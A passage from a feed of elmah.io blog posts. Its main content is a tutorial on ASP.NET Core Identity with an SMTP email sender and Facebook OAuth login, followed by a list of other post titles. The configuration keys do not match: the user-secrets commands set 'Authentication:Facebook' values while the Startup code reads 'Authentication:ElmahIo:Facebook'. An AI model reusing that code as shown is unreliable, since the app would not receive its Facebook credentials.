    ...
    <httpRuntime ... maxQueryStringLength="8192" />
  </system.web>
</configuration>

Notice that when using the httpRuntime element to configure max length, different default values exist. Most modern websites don't need to worry about this, though.

Would your users appreciate fewer errors?

elmah.io is the easy error logging and uptime monitoring service for .NET. Take back control of your errors with support for all .NET web and logging frameworks.

➡️ Error Monitoring for .NET Web Applications ⬅️

This article first appeared on the elmah.io blog at https://blog.elmah.io/fix-max-url-and-query-string-length-with-web-config-and-iis/

OAuth authentication with Facebook and ASP.NET Core

Thomas Ardal — Wed, 02 Dec 2020 07:05:42 +0000

The aim of this post is to teach you how to implement Identity Authentication & Authorization with ASP.NET Core. We will begin with a cookie-cutter Microsoft starter project, and then modify it to use Kendo in a future post.

First Things First

First, I'll walk you through the basics of getting ASP.NET Core working on your computer.

You'll want to download the x64 and/or x86 SDK from here.
Don't forget to update to the latest version of Visual Studio 2019 with Visual Studio Installer or you won't see ASP.NET Core.

Microsoft does a pretty good job of setting the stage for you and basic authentication works out of the box. We'll just use localdb for this project that is already setup in your appsettings.json file. The only thing you need to do in order to get authentication working is simply go to the Package Manager Console and type:

Update-Database

Hit F5 and wait impatiently for your project to load. Click on Register to create a local account. Here, you will get a message saying, "This app does not currently have a real email sender registered..." Instead of simply clicking the link provided, let's fix the issue.

Because we didn't click that link, we have effectively orphaned that email address so it "cannot" be accessed ever again (without manually confirming it in the database). So, let's start with a fresh database. Click on Package Manager Console and enter the following three commands in sequence:

Remove-Migration -Force
Add-Migration CreateIdentitySchema
Update-Database

Now, you will have a fresh copy of your database to start from.

Sending Emails

The following code will send out the intrinsic emails (registration confirmation, forgotten password, etc.) from Identity, but you will most likely use the same methods for your own code. If you don't already have an SMTP server you want to use, I'd recommend the older Windows App version of Smtp4Dev. There is a much newer version, but those new to .NET core or who don't want to run it in a docker container should just download the old version.

The first thing we are going to want to do is define the email service. I do that by creating a directory called Services from the root and then create a new class called EmailSender inside of that directory. The code for that service should look as follows:

namespace Elmah.Blog.Identity.UI.Services
{
    using System.Net;
    using System.Net.Mail;

    using System.Threading.Tasks;
    using Microsoft.AspNetCore.Identity.UI.Services;

    /// <summary>
    /// This class is responsible for sending emails.
    /// </summary>
    public class EmailSender : IEmailSender
    {
        /// <summary>
        /// The SMTP server.
        /// </summary>
        private readonly string host;

        /// <summary>
        /// The port that the SMTP server listens on.
        /// </summary>
        private readonly int port;

        /// <summary>
        /// The flag either enables or disables SSL.
        /// </summary>
        private readonly bool enableSsl;

        /// <summary>
        /// The user name for the SMTP server. Use "" if not required.
        /// </summary>
        private readonly string userName;

        /// <summary>
        /// The password for the SMTP server. Use "" if not required.
        /// </summary>
        private readonly string password;

        /// <summary>
        /// The email address that the email should come from.
        /// </summary>
        private readonly string senderEmail;

        /// <summary>
        /// Initializes a new instance of the <see cref="EmailSender"/> class.
        /// </summary>
        public EmailSender(string host, int port, bool enableSSL, string userName, string password, string senderEmail)
        {
            this.host = host;
            this.port = port;
            this.enableSsl = enableSSL;
            this.userName = userName;
            this.password = password;
            this.senderEmail = senderEmail;
        }

        /// <summary>
        /// This method sends emails asynchronously.
        /// </summary>
        /// <param name="email">
        /// The email address the message will be sent to.
        /// </param>
        /// <param name="subject">
        /// The subject of the message.
        /// </param>
        /// <param name="message">
        /// The message.
        /// </param>
        /// <returns>
        /// The <see cref="Task"/>.
        /// </returns>
        public Task SendEmailAsync(string email, string subject, string message)
        {
            var client = new SmtpClient(this.host, this.port)
                             {
                                 Credentials = new NetworkCredential(this.userName, this.password), EnableSsl = this.enableSsl
                             };

            return client.SendMailAsync(new MailMessage(this.senderEmail, email, subject, message) { IsBodyHtml = true });
        }
    }
}

Now that we have done that, you'll want to define some properties in your appsettings.json file, which should look like the following:

"EmailSender": {
    "Host": "localhost",
    "Port": 25,
    "EnableSSL": false,
    "UserName": "", 
    "Password": "",
    "SenderEmail": "info@elmah.io" 
}

Lastly, we'll want to configure the services in our Startup class:

/// <summary>
/// The configure services routine.
/// </summary>
/// <param name="services">
/// A collection of services used in the application.
/// </param>
public void ConfigureServices(IServiceCollection services)
{
    services.AddDbContext<ApplicationDbContext>(options =>
        options.UseSqlServer(this.Configuration.GetConnectionString("DefaultConnection")));
    services
        .AddDefaultIdentity<IdentityUser>(options => options.SignIn.RequireConfirmedAccount = true)
        .AddEntityFrameworkStores<ApplicationDbContext>();
    services.AddControllersWithViews();
    services
        .AddTransient<IEmailSender, Services.EmailSender>(implementation =>
            new Services.EmailSender(
                this.Configuration["EmailSender:Host"],
                this.Configuration.GetValue<int>("EmailSender:Port"),
                this.Configuration.GetValue<bool>("EmailSender:EnableSSL"),
                this.Configuration["EmailSender:UserName"],
                this.Configuration["EmailSender:Password"],
                this.Configuration["EmailSender:SenderEmail"]));
    services.AddRazorPages();
}

Setting up OAuth & Facebook Authentication

This post presumes you know how to go about creating an app on the Facebook Developer's Apps Page. So, we'll get straight to the coding. 🙂

The first thing you're going to want to do is create user secrets to keep this data secure. Open a command prompt and type the following commands:

dotnet user-secrets set Authentication:Facebook:AppId <app-id>
dotnet user-secrets set Authentication:Facebook:AppSecret <app-secret>

Finally, you'll want to open Startup.cs again and add the following:

services.AddAuthentication().AddFacebook(o =>
{
    o.AppId = this.Configuration["Authentication:ElmahIo:Facebook:AppId"];
    o.AppSecret = this.Configuration["Authentication:ElmahIo:Facebook:AppSecret"];
});

After adding the code above, you will be able to easily authenticate users with Facebook. There are several other OAuth providers that are equally added in such a similar manner.

Summary

In this article we covered how to create a barebones site that properly implements ASP.NET Core Identity Services and how to use OAuth to allow users to login from external providers.

In the next post, I'll be covering how you go about giving this app a mobile first look and feel that mimics a native application with Telerik Kendo-UI. Until then: Happy Coding!

The full source for this article can be found on GitHub

Would your users appreciate fewer errors?

elmah.io is the easy error logging and uptime monitoring service for .NET. Take back control of your errors with support for all .NET web and logging frameworks.

➡️ Error Monitoring for .NET Web Applications ⬅️

This article first appeared on the elmah.io blog at https://blog.elmah.io/oauth-authentication-with-facebook-and-aspnet-core-3-0/

DEV Community: Thomas Ardal

ASP.NET Core middleware with Roslyn Analyzers - Part 2

Would your users appreciate fewer errors?

ASP.NET Core middleware with Roslyn Analyzers - Part 1

Would your users appreciate fewer errors?

C# how to convert a string to int

Convert.ToInt32

Exception handling

Parsing complex strings

Parsing anti-patterns

Trimming for whitespace

Not using the TryParse overload

Control flow with exceptions

Avoid out parameters

Convert to an array

Would your users appreciate fewer errors?

Publish a self-contained .NET app on Azure DevOps

Would your users appreciate fewer errors?

ASP.NET Core request logging middleware

Would your users appreciate fewer errors?

The ultimate guide to secure cookies with web.config in .NET

Mark cookies as Secure

Mark cookies as HttpOnly

Avoid TRACE requests (Cross-Site Tracing)

SameSite to avoid cross-site request forgery

Would your users appreciate fewer errors?

Find anomalies with spike detection and ML.NET

Would your users appreciate fewer errors?

Debugging System.NullReferenceException - Object reference not set to an instance of an object

Handling the error

Debugging the error

Splitting chained method-calls to multiple lines

Using Null Reference Analysis in Visual Studio

Fixing the error

Using null checks

Using null-conditional operator

Use Debug.Assert during development

Use nullable reference types in C# 8.0

Logging and monitoring

Would your users appreciate fewer errors?

How to write to a file with C# - StackOverflow doesn't get it right

File.WriteAllText

File.CreateText

FileStream

.NET Core

Exception handling

Problems with the path

Problems while writing to disk

Would your users appreciate fewer errors?

C# exception handling best practices

Don't re-throw exceptions

Decorate exceptions

Catch the more specific exceptions first

Avoid exceptions

Create custom exceptions

Log exceptions

Would your users appreciate fewer errors?

Fix max URL and query string length with web.config and IIS

The error

The fix

Would your users appreciate fewer errors?

OAuth authentication with Facebook and ASP.NET Core

First Things First

Sending Emails

Setting up OAuth & Facebook Authentication

Summary

Would your users appreciate fewer errors?

Not using the `TryParse` overload

Mark cookies as `Secure`

Mark cookies as `HttpOnly`